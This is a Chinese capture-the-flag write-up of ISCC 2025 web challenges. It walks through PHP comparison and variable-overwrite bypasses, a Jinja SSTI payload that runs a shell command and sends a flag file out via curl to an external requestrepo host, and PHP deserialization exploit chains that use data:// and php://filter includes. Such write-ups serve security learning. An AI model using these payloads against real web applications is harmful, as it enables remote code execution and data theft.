ISCC2025国赛web

0x01前言

真的很想喷这个比赛的服务器和环境,每次要么打到一半就卡死了要么平台都进不去,而且还是公共平台,太让我失望了感觉,而且很多无厘头的猜谜,一点知识点都没有

区域赛

哪吒的试炼

image-20250510100546724

根据食物和莲藕的提示,猜测传入?food=lotus root后发现有302跳转

image-20250510100628656

在前端代码中删去disable即可解开封印

image-20250510100711305

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if (isset($_POST['nezha'])) {
$nezha = json_decode($_POST['nezha']);

$seal_incantation = $nezha->incantation;
$md5 = $nezha->md5;
$secret_power = $nezha->power;
$true_incantation = "I_am_the_spirit_of_fire";

$final_incantation = preg_replace(
"/" . preg_quote($true_incantation, '/') . "/", '',
$seal_incantation
);

if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {
show_flag();
} else {
echo "<p>封印的力量依旧存在,你还需要再试试!</p>";
}
} else {
echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";
echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>

这里会在seal中去掉true的内容,但是又要求去掉后得等于true的内容,这里怎么绕过呢

本地测试了一下

image-20250510104036133

所以双写绕过就可以了

1
nezha={"incantation":"I_am_the_spiI_am_the_spirit_of_firerit_of_fire","md5":"240610708","power":"QNKCDZO"}

回归基本功

image-20250510114441804

看了这里用户代理猜到是UA头,但是传入那两个例子没什么变化,后面看到提示是计算机行业的专家,然后看到高级工程师,猜测就是这个人,在process.php页面传UA头GaoJiGongChengShiFoYeGe拿到源码文件

image-20250510190802445

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3'];

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
if(intval($b) == 'jibengong')
{
if(strpos($b, "0")==0)
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
else
{
$$c = $a;
parse_str($b,$huiguiflag);
if($huiguiflag[$jibengong]==md5($c))
{
echo $flag;
}
else{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
?>

一层层进吧

先看第一层

1
2
$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)

这里的话因为and优先级比较低,所以jiben的值只取决于$a的条件,设置$a为数字就行

1
?huigui[jibengong.1=1

然后看第二层

1
if(intval($b) == 'jibengong')

让b的值用+0或者e都行,intval会解析为0,然后字符串也是0,弱等于满足

image-20250516194633961

1
if(strpos($b, "0")==0)

我们需要进入else语句,所以$b的开头不能为0

1
2
3
4
5
6
$$c = $a;
parse_str($b,$huiguiflag);
if($huiguiflag[$jibengong]==md5($c))
{
echo $flag;
}

有动态变量和变量覆盖,因为这里需要设置$huiguiflag中的键$jibengong为md5($c),但是直接传

1
类似$b="$jibengong=1"

这样貌似不行,会解析错误,尝试让该键的键名换一下,那就只能在动态变量中玩一下了

1
2
3
4
5
6
7
设置c=jibengong
因为之前设置$a=1
因此
$jibengong=1
然后我们对b传入
$b="e&1=e559dcee72d03a13110efe9b6355b30d"
e559dcee72d03a13110efe9b6355b30d为jibengong的md5值

所以最后的payload(注意这里的参数解析)

3e128b5416bb7dce2f445037e2651ec

调试过程

8abee7a5ceffd6688af43bd1df51cc1

payload

1
?huigui[jibengong.1=1&huigui[jibengong.2=e%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong

十八铜人阵

需要传入六个方位,电影中依次是

1
2
3
4
5
西南方
东南方
北方
西方
东北方一个,东方一个

测了半天,才知道最后一个是get传的参数,虽然他参数名给的提示蛮明显的但是之前没试过

请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /submit-answers?aGnsEweTr6=%E4%B8%9C%E6%96%B9 HTTP/1.1
Host: 112.126.73.173:16340
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: http://112.126.73.173:16340
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://112.126.73.173:16340/
X-Requested-With: XMLHttpRequest
Accept: */*
Content-Length: 173

answer1=%E8%A5%BF%E5%8D%97%E6%96%B9&answer2=%E4%B8%9C%E5%8D%97%E6%96%B9&answer3=%E5%8C%97%E6%96%B9&answer4=%E8%A5%BF%E6%96%B9&answer5=%E4%B8%9C%E5%8C%97%E6%96%B9

image-20250513102008467

源码中找到一个路由,带着cookie访问

image-20250513102334714

之前在源码看到很多佛曰,然后查到了佛曰解密https://pi.hahaka.com/

image-20250513111143308

挨个拿去解一下拿到

image-20250513111646518

路由是探本穷源拼音反过来nauygnoiqnebnat(猜半天真的想喷人, 只能说是我太菜了)

访问后是需要传一个yongzheng,测出来是ssti,但是fenjing还不能跑,直接绕过打curl外带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /nauygnoiqnebnat?a=__globals__&b=__getitem__&c=os&d=popen&e=curl+https://4fz7yove.requestrepo.com/`cat+kGf5tN1yO8M|base64` HTTP/1.1
Host: 112.126.73.173:16340
Content-Length: 134
Pragma: no-cache
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: http://112.126.73.173:16340
Referer: http://112.126.73.173:16340/nauygnoiqnebnat
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.aCKsMQ.X9UWN4Wx1zFF6vpu-9nl0JU5vDQ
Connection: close

yongzheng={{(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.e)).read()}}

然后接收

image-20250513111002657

解码后拿到目录

image-20250513111011784

kGf5tN1yO8M就是flag文件,读一下就出来了

想犯大吴疆土吗

传入那四个装备拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
GET /?box1=%E5%8F%A4%E9%94%AD%E5%88%80&box2=%E6%9D%80&box3=%E9%85%92&box4=%E9%93%81%E7%B4%A2%E8%BF%9E%E7%8E%AF HTTP/1.1
Host: 112.126.73.173:49101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=515a4a744cb2d53dd77dd970febd696a
Connection: close


拿到reward.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
if (!isset($_GET['xusheng'])) {
?>
<html>
<head><title>Reward</title></head>
<body style="font-family:sans-serif;text-align:center;margin-top:15%;">
<h2>想直接拿奖励?</h2>
<h1>尔要试试我宝刀是否锋利吗?</h1>
</body>
</html>
<?php
exit;
}

error_reporting(0);
ini_set('display_errors', 0);
?>

<?php

// 犯flag.php疆土者,盛必击而破之!

class GuDingDao {
public $desheng;

public function __construct() {
$this->desheng = array();
}

public function __get($yishi) {
$dingjv = $this->desheng;
$dingjv();
return "下次沙场相见, 徐某定不留情";
}
}

class TieSuoLianHuan {
protected $yicheng;

public function append($pojun) {
include($pojun);
}

public function __invoke() {
$this->append($this->yicheng);
}
}

class Jie_Xusheng {
public $sha;
public $jiu;

public function __construct($secret = 'reward.php') {
$this->sha = $secret;
}

public function __toString() {
return $this->jiu->sha;
}

public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha)) {
echo "你休想偷看吴国机密";
$this->sha = "reward.php";
}
}
}

echo '你什么都没看到?那说明……有东西你没看到<br>';

if (isset($_GET['xusheng'])) {
@unserialize($_GET['xusheng']);
} else {
$a = new Jie_Xusheng;
highlight_file(__FILE__);
}

// 铸下这铁链,江东天险牢不可破!

这个链子的话触发是通过正则去触发__toString()的,然后正常打就行

1
Jie_Xusheng::__wakeup()->Jie_Xusheng::__toString()->GuDingDao::__get()->TieSuoLianHuan::__invoke()->TieSuoLianHuan::append()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class GuDingDao {
public $desheng;
}

class TieSuoLianHuan {
public $yicheng;
}

class Jie_Xusheng {
public $sha;
public $jiu;

}

$a=new Jie_Xusheng();
$a->sha=new Jie_Xusheng();
$a->sha->jiu=new GuDingDao();
//$a->sha->jiu->desheng=phpinfo;
$a->sha->jiu->desheng=new TieSuoLianHuan();
$a->sha->jiu->desheng->yicheng='data://text/plain,<?php system("ls"); ?>';
echo urlencode(serialize($a));

结果本地出来了远程没出来,想起之前在源码给的一个暗示,说是有坑,猜测某个类的类名和属性名有问题,最后找出来是GuDingDao这个类有问题

最终的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class GuDingDa0 {
public $desheng;
}

class TieSuoLianHuan {
public $yicheng;
}

class Jie_Xusheng {
public $sha;
public $jiu;

}

$a=new Jie_Xusheng();
$a->sha=new Jie_Xusheng();
$a->sha->jiu=new GuDingDa0();
//$a->sha->jiu->desheng=phpinfo;

$a->sha->jiu->desheng=new TieSuoLianHuan();
/*$a->sha->jiu->desheng->yicheng='data://text/plain,<?php system("whoami"); ?>';*/
$a->sha->jiu->desheng->yicheng='php://filter/convert.base64-encode/resource=flag.php';
echo urlencode(serialize($a));

决赛

谁动了我的奶酪

传入Tom拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
ini_set('display_errors', 0);
error_reporting(0);

echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";
error_reporting(0);
//include("clue.php");
$code = file_get_contents(__FILE__);
highlight_string($code);

class Tom{
public $stolenCheese;
public $trap;
public function __construct($file='cheesemap.php'){
$this->stolenCheese = $file;
echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
}
public function revealCheeseLocation(){
if($this->stolenCheese){
$cheeseGuardKey = "cheesemap.php";
echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
$this->stolenCheese = str_rot3($cheeseGuardKey);
}
}
public function __toString(){
if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
}else{
$this->trap['trap']->stolenCheese;
return "Tom";
}
}

public function stoleCheese(){
$Messages = [
"<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
"<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
"<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
"<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
];
echo $Messages[array_rand($Messages)];
$this->revealCheeseLocation();
}
}

class Jerry{
protected $secretHidingSpot;
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
$this->searchForCheese($this->secretHidingSpot);
}
}

class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?";
}
}

if (isset($_GET['cheese_tracker'])) {
unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
$clue = $_GET["clue"];
$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
if (unserialize($clue)){
unserialize($clue)->squeak = "Thief!";
if(unserialize($clue)->shout === unserialize($clue)->squeak)
echo "cheese is hidden in ".$where;
else
echo "OHhhh no!find it yourself!";
}
}

?>

一个很简单的反序列化直接打

触发链子

1
Cheese::__destruct()->Tom::__toString()->Cheese::__get()->Jerry::__invoke()->Jerry::searchForCheese()

然后写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Tom{
public $stolenCheese;
public $trap;
}

class Jerry{
public $secretHidingSpot;
public $squeak;
public $shout;
}

class Cheese{
public $flavors;
public $color;
}

$a = new Cheese();
$a->color = new Tom();
$a->color->trap = ["trap"=>new Cheese()];
//$a->color->trap["trap"]->flavors = "phpinfo";
$a->color->trap["trap"]->flavors =new Jerry();
$a->color->trap["trap"]->flavors->secretHidingSpot="php://filter/convert.base64-encode/resource=clue.php";
//$a->color->trap["trap"]->flavors->secretHidingSpot="php://filter/convert.base64-encode/resource=flag_of_cheese.php";
echo urlencode(serialize($a));

因为会经过__toString()方法,所以需要伪造一下UA头

传进去拿到base64编码

image-20250516090652202

跟着读拿到第一段flag,然后就没头绪了

后来发现include可以打filter chain,列出目录后一样的去进行文件包含就行

拿到文件名c3933845e2b7d466a9776a84288b8d86.php,读出来一段异或的结果,但是具体异或多少不知道,可以直接用厨子进行范围异或

image-20250516200320620

同样的既然我们可以列出目录,当然也可以尝试getshell进行RCE

最后想骂一句,平台太烂了!

842a7d56ce893dffd98c20058dea6dba